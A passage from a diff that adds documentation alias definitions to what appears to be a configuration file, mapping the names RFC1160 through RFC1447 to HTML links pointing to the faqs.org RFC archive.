+                         "RFC1160=<a href=\"http://www.faqs.org/rfcs/rfc1160.html\">RFC 1160</a>" \
+                         "RFC1161=<a href=\"http://www.faqs.org/rfcs/rfc1161.html\">RFC 1161</a>" \
+                         "RFC1162=<a href=\"http://www.faqs.org/rfcs/rfc1162.html\">RFC 1162</a>" \
+                         "RFC1163=<a href=\"http://www.faqs.org/rfcs/rfc1163.html\">RFC 1163</a>" \
+                         "RFC1164=<a href=\"http://www.faqs.org/rfcs/rfc1164.html\">RFC 1164</a>" \
+                         "RFC1165=<a href=\"http://www.faqs.org/rfcs/rfc1165.html\">RFC 1165</a>" \
+                         "RFC1166=<a href=\"http://www.faqs.org/rfcs/rfc1166.html\">RFC 1166</a>" \
+                         "RFC1167=<a href=\"http://www.faqs.org/rfcs/rfc1167.html\">RFC 1167</a>" \
+                         "RFC1168=<a href=\"http://www.faqs.org/rfcs/rfc1168.html\">RFC 1168</a>" \
+                         "RFC1169=<a href=\"http://www.faqs.org/rfcs/rfc1169.html\">RFC 1169</a>" \
+                         "RFC1170=<a href=\"http://www.faqs.org/rfcs/rfc1170.html\">RFC 1170</a>" \
+                         "RFC1171=<a href=\"http://www.faqs.org/rfcs/rfc1171.html\">RFC 1171</a>" \
+                         "RFC1172=<a href=\"http://www.faqs.org/rfcs/rfc1172.html\">RFC 1172</a>" \
+                         "RFC1173=<a href=\"http://www.faqs.org/rfcs/rfc1173.html\">RFC 1173</a>" \
+                         "RFC1174=<a href=\"http://www.faqs.org/rfcs/rfc1174.html\">RFC 1174</a>" \
+                         "RFC1175=<a href=\"http://www.faqs.org/rfcs/rfc1175.html\">RFC 1175</a>" \
+                         "RFC1176=<a href=\"http://www.faqs.org/rfcs/rfc1176.html\">RFC 1176</a>" \
+                         "RFC1177=<a href=\"http://www.faqs.org/rfcs/rfc1177.html\">RFC 1177</a>" \
+                         "RFC1178=<a href=\"http://www.faqs.org/rfcs/rfc1178.html\">RFC 1178</a>" \
+                         "RFC1179=<a href=\"http://www.faqs.org/rfcs/rfc1179.html\">RFC 1179</a>" \
+                         "RFC1180=<a href=\"http://www.faqs.org/rfcs/rfc1180.html\">RFC 1180</a>" \
+                         "RFC1181=<a href=\"http://www.faqs.org/rfcs/rfc1181.html\">RFC 1181</a>" \
+                         "RFC1182=<a href=\"http://www.faqs.org/rfcs/rfc1182.html\">RFC 1182</a>" \
+                         "RFC1183=<a href=\"http://www.faqs.org/rfcs/rfc1183.html\">RFC 1183</a>" \
+                         "RFC1184=<a href=\"http://www.faqs.org/rfcs/rfc1184.html\">RFC 1184</a>" \
+                         "RFC1185=<a href=\"http://www.faqs.org/rfcs/rfc1185.html\">RFC 1185</a>" \
+                         "RFC1186=<a href=\"http://www.faqs.org/rfcs/rfc1186.html\">RFC 1186</a>" \
+                         "RFC1187=<a href=\"http://www.faqs.org/rfcs/rfc1187.html\">RFC 1187</a>" \
+                         "RFC1188=<a href=\"http://www.faqs.org/rfcs/rfc1188.html\">RFC 1188</a>" \
+                         "RFC1189=<a href=\"http://www.faqs.org/rfcs/rfc1189.html\">RFC 1189</a>" \
+                         "RFC1190=<a href=\"http://www.faqs.org/rfcs/rfc1190.html\">RFC 1190</a>" \
+                         "RFC1191=<a href=\"http://www.faqs.org/rfcs/rfc1191.html\">RFC 1191</a>" \
+                         "RFC1192=<a href=\"http://www.faqs.org/rfcs/rfc1192.html\">RFC 1192</a>" \
+                         "RFC1193=<a href=\"http://www.faqs.org/rfcs/rfc1193.html\">RFC 1193</a>" \
+                         "RFC1194=<a href=\"http://www.faqs.org/rfcs/rfc1194.html\">RFC 1194</a>" \
+                         "RFC1195=<a href=\"http://www.faqs.org/rfcs/rfc1195.html\">RFC 1195</a>" \
+                         "RFC1196=<a href=\"http://www.faqs.org/rfcs/rfc1196.html\">RFC 1196</a>" \
+                         "RFC1197=<a href=\"http://www.faqs.org/rfcs/rfc1197.html\">RFC 1197</a>" \
+                         "RFC1198=<a href=\"http://www.faqs.org/rfcs/rfc1198.html\">RFC 1198</a>" \
+                         "RFC1199=<a href=\"http://www.faqs.org/rfcs/rfc1199.html\">RFC 1199</a>" \
+                         "RFC1200=<a href=\"http://www.faqs.org/rfcs/rfc1200.html\">RFC 1200</a>" \
+                         "RFC1201=<a href=\"http://www.faqs.org/rfcs/rfc1201.html\">RFC 1201</a>" \
+                         "RFC1202=<a href=\"http://www.faqs.org/rfcs/rfc1202.html\">RFC 1202</a>" \
+                         "RFC1203=<a href=\"http://www.faqs.org/rfcs/rfc1203.html\">RFC 1203</a>" \
+                         "RFC1204=<a href=\"http://www.faqs.org/rfcs/rfc1204.html\">RFC 1204</a>" \
+                         "RFC1205=<a href=\"http://www.faqs.org/rfcs/rfc1205.html\">RFC 1205</a>" \
+                         "RFC1206=<a href=\"http://www.faqs.org/rfcs/rfc1206.html\">RFC 1206</a>" \
+                         "RFC1207=<a href=\"http://www.faqs.org/rfcs/rfc1207.html\">RFC 1207</a>" \
+                         "RFC1208=<a href=\"http://www.faqs.org/rfcs/rfc1208.html\">RFC 1208</a>" \
+                         "RFC1209=<a href=\"http://www.faqs.org/rfcs/rfc1209.html\">RFC 1209</a>" \
+                         "RFC1210=<a href=\"http://www.faqs.org/rfcs/rfc1210.html\">RFC 1210</a>" \
+                         "RFC1211=<a href=\"http://www.faqs.org/rfcs/rfc1211.html\">RFC 1211</a>" \
+                         "RFC1212=<a href=\"http://www.faqs.org/rfcs/rfc1212.html\">RFC 1212</a>" \
+                         "RFC1213=<a href=\"http://www.faqs.org/rfcs/rfc1213.html\">RFC 1213</a>" \
+                         "RFC1214=<a href=\"http://www.faqs.org/rfcs/rfc1214.html\">RFC 1214</a>" \
+                         "RFC1215=<a href=\"http://www.faqs.org/rfcs/rfc1215.html\">RFC 1215</a>" \
+                         "RFC1216=<a href=\"http://www.faqs.org/rfcs/rfc1216.html\">RFC 1216</a>" \
+                         "RFC1217=<a href=\"http://www.faqs.org/rfcs/rfc1217.html\">RFC 1217</a>" \
+                         "RFC1218=<a href=\"http://www.faqs.org/rfcs/rfc1218.html\">RFC 1218</a>" \
+                         "RFC1219=<a href=\"http://www.faqs.org/rfcs/rfc1219.html\">RFC 1219</a>" \
+                         "RFC1220=<a href=\"http://www.faqs.org/rfcs/rfc1220.html\">RFC 1220</a>" \
+                         "RFC1221=<a href=\"http://www.faqs.org/rfcs/rfc1221.html\">RFC 1221</a>" \
+                         "RFC1222=<a href=\"http://www.faqs.org/rfcs/rfc1222.html\">RFC 1222</a>" \
+                         "RFC1223=<a href=\"http://www.faqs.org/rfcs/rfc1223.html\">RFC 1223</a>" \
+                         "RFC1224=<a href=\"http://www.faqs.org/rfcs/rfc1224.html\">RFC 1224</a>" \
+                         "RFC1225=<a href=\"http://www.faqs.org/rfcs/rfc1225.html\">RFC 1225</a>" \
+                         "RFC1226=<a href=\"http://www.faqs.org/rfcs/rfc1226.html\">RFC 1226</a>" \
+                         "RFC1227=<a href=\"http://www.faqs.org/rfcs/rfc1227.html\">RFC 1227</a>" \
+                         "RFC1228=<a href=\"http://www.faqs.org/rfcs/rfc1228.html\">RFC 1228</a>" \
+                         "RFC1229=<a href=\"http://www.faqs.org/rfcs/rfc1229.html\">RFC 1229</a>" \
+                         "RFC1230=<a href=\"http://www.faqs.org/rfcs/rfc1230.html\">RFC 1230</a>" \
+                         "RFC1231=<a href=\"http://www.faqs.org/rfcs/rfc1231.html\">RFC 1231</a>" \
+                         "RFC1232=<a href=\"http://www.faqs.org/rfcs/rfc1232.html\">RFC 1232</a>" \
+                         "RFC1233=<a href=\"http://www.faqs.org/rfcs/rfc1233.html\">RFC 1233</a>" \
+                         "RFC1234=<a href=\"http://www.faqs.org/rfcs/rfc1234.html\">RFC 1234</a>" \
+                         "RFC1235=<a href=\"http://www.faqs.org/rfcs/rfc1235.html\">RFC 1235</a>" \
+                         "RFC1236=<a href=\"http://www.faqs.org/rfcs/rfc1236.html\">RFC 1236</a>" \
+                         "RFC1237=<a href=\"http://www.faqs.org/rfcs/rfc1237.html\">RFC 1237</a>" \
+                         "RFC1238=<a href=\"http://www.faqs.org/rfcs/rfc1238.html\">RFC 1238</a>" \
+                         "RFC1239=<a href=\"http://www.faqs.org/rfcs/rfc1239.html\">RFC 1239</a>" \
+                         "RFC1240=<a href=\"http://www.faqs.org/rfcs/rfc1240.html\">RFC 1240</a>" \
+                         "RFC1241=<a href=\"http://www.faqs.org/rfcs/rfc1241.html\">RFC 1241</a>" \
+                         "RFC1242=<a href=\"http://www.faqs.org/rfcs/rfc1242.html\">RFC 1242</a>" \
+                         "RFC1243=<a href=\"http://www.faqs.org/rfcs/rfc1243.html\">RFC 1243</a>" \
+                         "RFC1244=<a href=\"http://www.faqs.org/rfcs/rfc1244.html\">RFC 1244</a>" \
+                         "RFC1245=<a href=\"http://www.faqs.org/rfcs/rfc1245.html\">RFC 1245</a>" \
+                         "RFC1246=<a href=\"http://www.faqs.org/rfcs/rfc1246.html\">RFC 1246</a>" \
+                         "RFC1247=<a href=\"http://www.faqs.org/rfcs/rfc1247.html\">RFC 1247</a>" \
+                         "RFC1248=<a href=\"http://www.faqs.org/rfcs/rfc1248.html\">RFC 1248</a>" \
+                         "RFC1249=<a href=\"http://www.faqs.org/rfcs/rfc1249.html\">RFC 1249</a>" \
+                         "RFC1250=<a href=\"http://www.faqs.org/rfcs/rfc1250.html\">RFC 1250</a>" \
+                         "RFC1251=<a href=\"http://www.faqs.org/rfcs/rfc1251.html\">RFC 1251</a>" \
+                         "RFC1252=<a href=\"http://www.faqs.org/rfcs/rfc1252.html\">RFC 1252</a>" \
+                         "RFC1253=<a href=\"http://www.faqs.org/rfcs/rfc1253.html\">RFC 1253</a>" \
+                         "RFC1254=<a href=\"http://www.faqs.org/rfcs/rfc1254.html\">RFC 1254</a>" \
+                         "RFC1255=<a href=\"http://www.faqs.org/rfcs/rfc1255.html\">RFC 1255</a>" \
+                         "RFC1256=<a href=\"http://www.faqs.org/rfcs/rfc1256.html\">RFC 1256</a>" \
+                         "RFC1257=<a href=\"http://www.faqs.org/rfcs/rfc1257.html\">RFC 1257</a>" \
+                         "RFC1258=<a href=\"http://www.faqs.org/rfcs/rfc1258.html\">RFC 1258</a>" \
+                         "RFC1259=<a href=\"http://www.faqs.org/rfcs/rfc1259.html\">RFC 1259</a>" \
+                         "RFC1260=<a href=\"http://www.faqs.org/rfcs/rfc1260.html\">RFC 1260</a>" \
+                         "RFC1261=<a href=\"http://www.faqs.org/rfcs/rfc1261.html\">RFC 1261</a>" \
+                         "RFC1262=<a href=\"http://www.faqs.org/rfcs/rfc1262.html\">RFC 1262</a>" \
+                         "RFC1263=<a href=\"http://www.faqs.org/rfcs/rfc1263.html\">RFC 1263</a>" \
+                         "RFC1264=<a href=\"http://www.faqs.org/rfcs/rfc1264.html\">RFC 1264</a>" \
+                         "RFC1265=<a href=\"http://www.faqs.org/rfcs/rfc1265.html\">RFC 1265</a>" \
+                         "RFC1266=<a href=\"http://www.faqs.org/rfcs/rfc1266.html\">RFC 1266</a>" \
+                         "RFC1267=<a href=\"http://www.faqs.org/rfcs/rfc1267.html\">RFC 1267</a>" \
+                         "RFC1268=<a href=\"http://www.faqs.org/rfcs/rfc1268.html\">RFC 1268</a>" \
+                         "RFC1269=<a href=\"http://www.faqs.org/rfcs/rfc1269.html\">RFC 1269</a>" \
+                         "RFC1270=<a href=\"http://www.faqs.org/rfcs/rfc1270.html\">RFC 1270</a>" \
+                         "RFC1271=<a href=\"http://www.faqs.org/rfcs/rfc1271.html\">RFC 1271</a>" \
+                         "RFC1272=<a href=\"http://www.faqs.org/rfcs/rfc1272.html\">RFC 1272</a>" \
+                         "RFC1273=<a href=\"http://www.faqs.org/rfcs/rfc1273.html\">RFC 1273</a>" \
+                         "RFC1274=<a href=\"http://www.faqs.org/rfcs/rfc1274.html\">RFC 1274</a>" \
+                         "RFC1275=<a href=\"http://www.faqs.org/rfcs/rfc1275.html\">RFC 1275</a>" \
+                         "RFC1276=<a href=\"http://www.faqs.org/rfcs/rfc1276.html\">RFC 1276</a>" \
+                         "RFC1277=<a href=\"http://www.faqs.org/rfcs/rfc1277.html\">RFC 1277</a>" \
+                         "RFC1278=<a href=\"http://www.faqs.org/rfcs/rfc1278.html\">RFC 1278</a>" \
+                         "RFC1279=<a href=\"http://www.faqs.org/rfcs/rfc1279.html\">RFC 1279</a>" \
+                         "RFC1280=<a href=\"http://www.faqs.org/rfcs/rfc1280.html\">RFC 1280</a>" \
+                         "RFC1281=<a href=\"http://www.faqs.org/rfcs/rfc1281.html\">RFC 1281</a>" \
+                         "RFC1282=<a href=\"http://www.faqs.org/rfcs/rfc1282.html\">RFC 1282</a>" \
+                         "RFC1283=<a href=\"http://www.faqs.org/rfcs/rfc1283.html\">RFC 1283</a>" \
+                         "RFC1284=<a href=\"http://www.faqs.org/rfcs/rfc1284.html\">RFC 1284</a>" \
+                         "RFC1285=<a href=\"http://www.faqs.org/rfcs/rfc1285.html\">RFC 1285</a>" \
+                         "RFC1286=<a href=\"http://www.faqs.org/rfcs/rfc1286.html\">RFC 1286</a>" \
+                         "RFC1287=<a href=\"http://www.faqs.org/rfcs/rfc1287.html\">RFC 1287</a>" \
+                         "RFC1288=<a href=\"http://www.faqs.org/rfcs/rfc1288.html\">RFC 1288</a>" \
+                         "RFC1289=<a href=\"http://www.faqs.org/rfcs/rfc1289.html\">RFC 1289</a>" \
+                         "RFC1290=<a href=\"http://www.faqs.org/rfcs/rfc1290.html\">RFC 1290</a>" \
+                         "RFC1291=<a href=\"http://www.faqs.org/rfcs/rfc1291.html\">RFC 1291</a>" \
+                         "RFC1292=<a href=\"http://www.faqs.org/rfcs/rfc1292.html\">RFC 1292</a>" \
+                         "RFC1293=<a href=\"http://www.faqs.org/rfcs/rfc1293.html\">RFC 1293</a>" \
+                         "RFC1294=<a href=\"http://www.faqs.org/rfcs/rfc1294.html\">RFC 1294</a>" \
+                         "RFC1295=<a href=\"http://www.faqs.org/rfcs/rfc1295.html\">RFC 1295</a>" \
+                         "RFC1296=<a href=\"http://www.faqs.org/rfcs/rfc1296.html\">RFC 1296</a>" \
+                         "RFC1297=<a href=\"http://www.faqs.org/rfcs/rfc1297.html\">RFC 1297</a>" \
+                         "RFC1298=<a href=\"http://www.faqs.org/rfcs/rfc1298.html\">RFC 1298</a>" \
+                         "RFC1299=<a href=\"http://www.faqs.org/rfcs/rfc1299.html\">RFC 1299</a>" \
+                         "RFC1300=<a href=\"http://www.faqs.org/rfcs/rfc1300.html\">RFC 1300</a>" \
+                         "RFC1301=<a href=\"http://www.faqs.org/rfcs/rfc1301.html\">RFC 1301</a>" \
+                         "RFC1302=<a href=\"http://www.faqs.org/rfcs/rfc1302.html\">RFC 1302</a>" \
+                         "RFC1303=<a href=\"http://www.faqs.org/rfcs/rfc1303.html\">RFC 1303</a>" \
+                         "RFC1304=<a href=\"http://www.faqs.org/rfcs/rfc1304.html\">RFC 1304</a>" \
+                         "RFC1305=<a href=\"http://www.faqs.org/rfcs/rfc1305.html\">RFC 1305</a>" \
+                         "RFC1306=<a href=\"http://www.faqs.org/rfcs/rfc1306.html\">RFC 1306</a>" \
+                         "RFC1307=<a href=\"http://www.faqs.org/rfcs/rfc1307.html\">RFC 1307</a>" \
+                         "RFC1308=<a href=\"http://www.faqs.org/rfcs/rfc1308.html\">RFC 1308</a>" \
+                         "RFC1309=<a href=\"http://www.faqs.org/rfcs/rfc1309.html\">RFC 1309</a>" \
+                         "RFC1310=<a href=\"http://www.faqs.org/rfcs/rfc1310.html\">RFC 1310</a>" \
+                         "RFC1311=<a href=\"http://www.faqs.org/rfcs/rfc1311.html\">RFC 1311</a>" \
+                         "RFC1312=<a href=\"http://www.faqs.org/rfcs/rfc1312.html\">RFC 1312</a>" \
+                         "RFC1313=<a href=\"http://www.faqs.org/rfcs/rfc1313.html\">RFC 1313</a>" \
+                         "RFC1314=<a href=\"http://www.faqs.org/rfcs/rfc1314.html\">RFC 1314</a>" \
+                         "RFC1315=<a href=\"http://www.faqs.org/rfcs/rfc1315.html\">RFC 1315</a>" \
+                         "RFC1316=<a href=\"http://www.faqs.org/rfcs/rfc1316.html\">RFC 1316</a>" \
+                         "RFC1317=<a href=\"http://www.faqs.org/rfcs/rfc1317.html\">RFC 1317</a>" \
+                         "RFC1318=<a href=\"http://www.faqs.org/rfcs/rfc1318.html\">RFC 1318</a>" \
+                         "RFC1319=<a href=\"http://www.faqs.org/rfcs/rfc1319.html\">RFC 1319</a>" \
+                         "RFC1320=<a href=\"http://www.faqs.org/rfcs/rfc1320.html\">RFC 1320</a>" \
+                         "RFC1321=<a href=\"http://www.faqs.org/rfcs/rfc1321.html\">RFC 1321</a>" \
+                         "RFC1322=<a href=\"http://www.faqs.org/rfcs/rfc1322.html\">RFC 1322</a>" \
+                         "RFC1323=<a href=\"http://www.faqs.org/rfcs/rfc1323.html\">RFC 1323</a>" \
+                         "RFC1324=<a href=\"http://www.faqs.org/rfcs/rfc1324.html\">RFC 1324</a>" \
+                         "RFC1325=<a href=\"http://www.faqs.org/rfcs/rfc1325.html\">RFC 1325</a>" \
+                         "RFC1326=<a href=\"http://www.faqs.org/rfcs/rfc1326.html\">RFC 1326</a>" \
+                         "RFC1327=<a href=\"http://www.faqs.org/rfcs/rfc1327.html\">RFC 1327</a>" \
+                         "RFC1328=<a href=\"http://www.faqs.org/rfcs/rfc1328.html\">RFC 1328</a>" \
+                         "RFC1329=<a href=\"http://www.faqs.org/rfcs/rfc1329.html\">RFC 1329</a>" \
+                         "RFC1330=<a href=\"http://www.faqs.org/rfcs/rfc1330.html\">RFC 1330</a>" \
+                         "RFC1331=<a href=\"http://www.faqs.org/rfcs/rfc1331.html\">RFC 1331</a>" \
+                         "RFC1332=<a href=\"http://www.faqs.org/rfcs/rfc1332.html\">RFC 1332</a>" \
+                         "RFC1333=<a href=\"http://www.faqs.org/rfcs/rfc1333.html\">RFC 1333</a>" \
+                         "RFC1334=<a href=\"http://www.faqs.org/rfcs/rfc1334.html\">RFC 1334</a>" \
+                         "RFC1335=<a href=\"http://www.faqs.org/rfcs/rfc1335.html\">RFC 1335</a>" \
+                         "RFC1336=<a href=\"http://www.faqs.org/rfcs/rfc1336.html\">RFC 1336</a>" \
+                         "RFC1337=<a href=\"http://www.faqs.org/rfcs/rfc1337.html\">RFC 1337</a>" \
+                         "RFC1338=<a href=\"http://www.faqs.org/rfcs/rfc1338.html\">RFC 1338</a>" \
+                         "RFC1339=<a href=\"http://www.faqs.org/rfcs/rfc1339.html\">RFC 1339</a>" \
+                         "RFC1340=<a href=\"http://www.faqs.org/rfcs/rfc1340.html\">RFC 1340</a>" \
+                         "RFC1341=<a href=\"http://www.faqs.org/rfcs/rfc1341.html\">RFC 1341</a>" \
+                         "RFC1342=<a href=\"http://www.faqs.org/rfcs/rfc1342.html\">RFC 1342</a>" \
+                         "RFC1343=<a href=\"http://www.faqs.org/rfcs/rfc1343.html\">RFC 1343</a>" \
+                         "RFC1344=<a href=\"http://www.faqs.org/rfcs/rfc1344.html\">RFC 1344</a>" \
+                         "RFC1345=<a href=\"http://www.faqs.org/rfcs/rfc1345.html\">RFC 1345</a>" \
+                         "RFC1346=<a href=\"http://www.faqs.org/rfcs/rfc1346.html\">RFC 1346</a>" \
+                         "RFC1347=<a href=\"http://www.faqs.org/rfcs/rfc1347.html\">RFC 1347</a>" \
+                         "RFC1348=<a href=\"http://www.faqs.org/rfcs/rfc1348.html\">RFC 1348</a>" \
+                         "RFC1349=<a href=\"http://www.faqs.org/rfcs/rfc1349.html\">RFC 1349</a>" \
+                         "RFC1350=<a href=\"http://www.faqs.org/rfcs/rfc1350.html\">RFC 1350</a>" \
+                         "RFC1351=<a href=\"http://www.faqs.org/rfcs/rfc1351.html\">RFC 1351</a>" \
+                         "RFC1352=<a href=\"http://www.faqs.org/rfcs/rfc1352.html\">RFC 1352</a>" \
+                         "RFC1353=<a href=\"http://www.faqs.org/rfcs/rfc1353.html\">RFC 1353</a>" \
+                         "RFC1354=<a href=\"http://www.faqs.org/rfcs/rfc1354.html\">RFC 1354</a>" \
+                         "RFC1355=<a href=\"http://www.faqs.org/rfcs/rfc1355.html\">RFC 1355</a>" \
+                         "RFC1356=<a href=\"http://www.faqs.org/rfcs/rfc1356.html\">RFC 1356</a>" \
+                         "RFC1357=<a href=\"http://www.faqs.org/rfcs/rfc1357.html\">RFC 1357</a>" \
+                         "RFC1358=<a href=\"http://www.faqs.org/rfcs/rfc1358.html\">RFC 1358</a>" \
+                         "RFC1359=<a href=\"http://www.faqs.org/rfcs/rfc1359.html\">RFC 1359</a>" \
+                         "RFC1360=<a href=\"http://www.faqs.org/rfcs/rfc1360.html\">RFC 1360</a>" \
+                         "RFC1361=<a href=\"http://www.faqs.org/rfcs/rfc1361.html\">RFC 1361</a>" \
+                         "RFC1362=<a href=\"http://www.faqs.org/rfcs/rfc1362.html\">RFC 1362</a>" \
+                         "RFC1363=<a href=\"http://www.faqs.org/rfcs/rfc1363.html\">RFC 1363</a>" \
+                         "RFC1364=<a href=\"http://www.faqs.org/rfcs/rfc1364.html\">RFC 1364</a>" \
+                         "RFC1365=<a href=\"http://www.faqs.org/rfcs/rfc1365.html\">RFC 1365</a>" \
+                         "RFC1366=<a href=\"http://www.faqs.org/rfcs/rfc1366.html\">RFC 1366</a>" \
+                         "RFC1367=<a href=\"http://www.faqs.org/rfcs/rfc1367.html\">RFC 1367</a>" \
+                         "RFC1368=<a href=\"http://www.faqs.org/rfcs/rfc1368.html\">RFC 1368</a>" \
+                         "RFC1369=<a href=\"http://www.faqs.org/rfcs/rfc1369.html\">RFC 1369</a>" \
+                         "RFC1370=<a href=\"http://www.faqs.org/rfcs/rfc1370.html\">RFC 1370</a>" \
+                         "RFC1371=<a href=\"http://www.faqs.org/rfcs/rfc1371.html\">RFC 1371</a>" \
+                         "RFC1372=<a href=\"http://www.faqs.org/rfcs/rfc1372.html\">RFC 1372</a>" \
+                         "RFC1373=<a href=\"http://www.faqs.org/rfcs/rfc1373.html\">RFC 1373</a>" \
+                         "RFC1374=<a href=\"http://www.faqs.org/rfcs/rfc1374.html\">RFC 1374</a>" \
+                         "RFC1375=<a href=\"http://www.faqs.org/rfcs/rfc1375.html\">RFC 1375</a>" \
+                         "RFC1376=<a href=\"http://www.faqs.org/rfcs/rfc1376.html\">RFC 1376</a>" \
+                         "RFC1377=<a href=\"http://www.faqs.org/rfcs/rfc1377.html\">RFC 1377</a>" \
+                         "RFC1378=<a href=\"http://www.faqs.org/rfcs/rfc1378.html\">RFC 1378</a>" \
+                         "RFC1379=<a href=\"http://www.faqs.org/rfcs/rfc1379.html\">RFC 1379</a>" \
+                         "RFC1380=<a href=\"http://www.faqs.org/rfcs/rfc1380.html\">RFC 1380</a>" \
+                         "RFC1381=<a href=\"http://www.faqs.org/rfcs/rfc1381.html\">RFC 1381</a>" \
+                         "RFC1382=<a href=\"http://www.faqs.org/rfcs/rfc1382.html\">RFC 1382</a>" \
+                         "RFC1383=<a href=\"http://www.faqs.org/rfcs/rfc1383.html\">RFC 1383</a>" \
+                         "RFC1384=<a href=\"http://www.faqs.org/rfcs/rfc1384.html\">RFC 1384</a>" \
+                         "RFC1385=<a href=\"http://www.faqs.org/rfcs/rfc1385.html\">RFC 1385</a>" \
+                         "RFC1386=<a href=\"http://www.faqs.org/rfcs/rfc1386.html\">RFC 1386</a>" \
+                         "RFC1387=<a href=\"http://www.faqs.org/rfcs/rfc1387.html\">RFC 1387</a>" \
+                         "RFC1388=<a href=\"http://www.faqs.org/rfcs/rfc1388.html\">RFC 1388</a>" \
+                         "RFC1389=<a href=\"http://www.faqs.org/rfcs/rfc1389.html\">RFC 1389</a>" \
+                         "RFC1390=<a href=\"http://www.faqs.org/rfcs/rfc1390.html\">RFC 1390</a>" \
+                         "RFC1391=<a href=\"http://www.faqs.org/rfcs/rfc1391.html\">RFC 1391</a>" \
+                         "RFC1392=<a href=\"http://www.faqs.org/rfcs/rfc1392.html\">RFC 1392</a>" \
+                         "RFC1393=<a href=\"http://www.faqs.org/rfcs/rfc1393.html\">RFC 1393</a>" \
+                         "RFC1394=<a href=\"http://www.faqs.org/rfcs/rfc1394.html\">RFC 1394</a>" \
+                         "RFC1395=<a href=\"http://www.faqs.org/rfcs/rfc1395.html\">RFC 1395</a>" \
+                         "RFC1396=<a href=\"http://www.faqs.org/rfcs/rfc1396.html\">RFC 1396</a>" \
+                         "RFC1397=<a href=\"http://www.faqs.org/rfcs/rfc1397.html\">RFC 1397</a>" \
+                         "RFC1398=<a href=\"http://www.faqs.org/rfcs/rfc1398.html\">RFC 1398</a>" \
+                         "RFC1399=<a href=\"http://www.faqs.org/rfcs/rfc1399.html\">RFC 1399</a>" \
+                         "RFC1400=<a href=\"http://www.faqs.org/rfcs/rfc1400.html\">RFC 1400</a>" \
+                         "RFC1401=<a href=\"http://www.faqs.org/rfcs/rfc1401.html\">RFC 1401</a>" \
+                         "RFC1402=<a href=\"http://www.faqs.org/rfcs/rfc1402.html\">RFC 1402</a>" \
+                         "RFC1403=<a href=\"http://www.faqs.org/rfcs/rfc1403.html\">RFC 1403</a>" \
+                         "RFC1404=<a href=\"http://www.faqs.org/rfcs/rfc1404.html\">RFC 1404</a>" \
+                         "RFC1405=<a href=\"http://www.faqs.org/rfcs/rfc1405.html\">RFC 1405</a>" \
+                         "RFC1406=<a href=\"http://www.faqs.org/rfcs/rfc1406.html\">RFC 1406</a>" \
+                         "RFC1407=<a href=\"http://www.faqs.org/rfcs/rfc1407.html\">RFC 1407</a>" \
+                         "RFC1408=<a href=\"http://www.faqs.org/rfcs/rfc1408.html\">RFC 1408</a>" \
+                         "RFC1409=<a href=\"http://www.faqs.org/rfcs/rfc1409.html\">RFC 1409</a>" \
+                         "RFC1410=<a href=\"http://www.faqs.org/rfcs/rfc1410.html\">RFC 1410</a>" \
+                         "RFC1411=<a href=\"http://www.faqs.org/rfcs/rfc1411.html\">RFC 1411</a>" \
+                         "RFC1412=<a href=\"http://www.faqs.org/rfcs/rfc1412.html\">RFC 1412</a>" \
+                         "RFC1413=<a href=\"http://www.faqs.org/rfcs/rfc1413.html\">RFC 1413</a>" \
+                         "RFC1414=<a href=\"http://www.faqs.org/rfcs/rfc1414.html\">RFC 1414</a>" \
+                         "RFC1415=<a href=\"http://www.faqs.org/rfcs/rfc1415.html\">RFC 1415</a>" \
+                         "RFC1416=<a href=\"http://www.faqs.org/rfcs/rfc1416.html\">RFC 1416</a>" \
+                         "RFC1417=<a href=\"http://www.faqs.org/rfcs/rfc1417.html\">RFC 1417</a>" \
+                         "RFC1418=<a href=\"http://www.faqs.org/rfcs/rfc1418.html\">RFC 1418</a>" \
+                         "RFC1419=<a href=\"http://www.faqs.org/rfcs/rfc1419.html\">RFC 1419</a>" \
+                         "RFC1420=<a href=\"http://www.faqs.org/rfcs/rfc1420.html\">RFC 1420</a>" \
+                         "RFC1421=<a href=\"http://www.faqs.org/rfcs/rfc1421.html\">RFC 1421</a>" \
+                         "RFC1422=<a href=\"http://www.faqs.org/rfcs/rfc1422.html\">RFC 1422</a>" \
+                         "RFC1423=<a href=\"http://www.faqs.org/rfcs/rfc1423.html\">RFC 1423</a>" \
+                         "RFC1424=<a href=\"http://www.faqs.org/rfcs/rfc1424.html\">RFC 1424</a>" \
+                         "RFC1425=<a href=\"http://www.faqs.org/rfcs/rfc1425.html\">RFC 1425</a>" \
+                         "RFC1426=<a href=\"http://www.faqs.org/rfcs/rfc1426.html\">RFC 1426</a>" \
+                         "RFC1427=<a href=\"http://www.faqs.org/rfcs/rfc1427.html\">RFC 1427</a>" \
+                         "RFC1428=<a href=\"http://www.faqs.org/rfcs/rfc1428.html\">RFC 1428</a>" \
+                         "RFC1429=<a href=\"http://www.faqs.org/rfcs/rfc1429.html\">RFC 1429</a>" \
+                         "RFC1430=<a href=\"http://www.faqs.org/rfcs/rfc1430.html\">RFC 1430</a>" \
+                         "RFC1431=<a href=\"http://www.faqs.org/rfcs/rfc1431.html\">RFC 1431</a>" \
+                         "RFC1432=<a href=\"http://www.faqs.org/rfcs/rfc1432.html\">RFC 1432</a>" \
+                         "RFC1433=<a href=\"http://www.faqs.org/rfcs/rfc1433.html\">RFC 1433</a>" \
+                         "RFC1434=<a href=\"http://www.faqs.org/rfcs/rfc1434.html\">RFC 1434</a>" \
+                         "RFC1435=<a href=\"http://www.faqs.org/rfcs/rfc1435.html\">RFC 1435</a>" \
+                         "RFC1436=<a href=\"http://www.faqs.org/rfcs/rfc1436.html\">RFC 1436</a>" \
+                         "RFC1437=<a href=\"http://www.faqs.org/rfcs/rfc1437.html\">RFC 1437</a>" \
+                         "RFC1438=<a href=\"http://www.faqs.org/rfcs/rfc1438.html\">RFC 1438</a>" \
+                         "RFC1439=<a href=\"http://www.faqs.org/rfcs/rfc1439.html\">RFC 1439</a>" \
+                         "RFC1440=<a href=\"http://www.faqs.org/rfcs/rfc1440.html\">RFC 1440</a>" \
+                         "RFC1441=<a href=\"http://www.faqs.org/rfcs/rfc1441.html\">RFC 1441</a>" \
+                         "RFC1442=<a href=\"http://www.faqs.org/rfcs/rfc1442.html\">RFC 1442</a>" \
+                         "RFC1443=<a href=\"http://www.faqs.org/rfcs/rfc1443.html\">RFC 1443</a>" \
+                         "RFC1444=<a href=\"http://www.faqs.org/rfcs/rfc1444.html\">RFC 1444</a>" \
+                         "RFC1445=<a href=\"http://www.faqs.org/rfcs/rfc1445.html\">RFC 1445</a>" \
+                         "RFC1446=<a href=\"http://www.faqs.org/rfcs/rfc1446.html\">RFC 1446</a>" \
+                         "RFC1447=<a href=\"http://www.faqs.org/rfcs/rfc1447.html\">RFC 1447</a>" \
